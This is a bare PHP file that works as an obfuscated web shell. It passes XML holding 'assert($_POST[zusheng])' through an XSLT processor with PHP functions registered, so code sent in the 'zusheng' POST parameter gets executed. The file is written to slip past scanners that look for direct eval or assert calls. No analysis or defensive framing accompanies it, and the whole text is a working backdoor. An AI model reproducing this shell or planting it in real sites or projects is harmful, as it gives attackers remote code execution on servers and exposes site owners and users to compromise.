<?php $xml='<ichunqiu>assert($_POST[zusheng]);</ichunqiu>'; $xsl='<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:icq="http://php.net/xsl">  <xsl:template match="/ichunqiu">     <xsl:value-of select="icq:function(\'assert\',string(.))"/>  </xsl:template> </xsl:stylesheet>'; $xmldoc = DOMDocument::loadXML($xml); $xsldoc = DOMDocument::loadXML($xsl); $proc = new XSLTProcessor(); $proc->registerPHPFunctions(); $proc->importStyleSheet($xsldoc); $proc->transformToXML($xmldoc); ?> 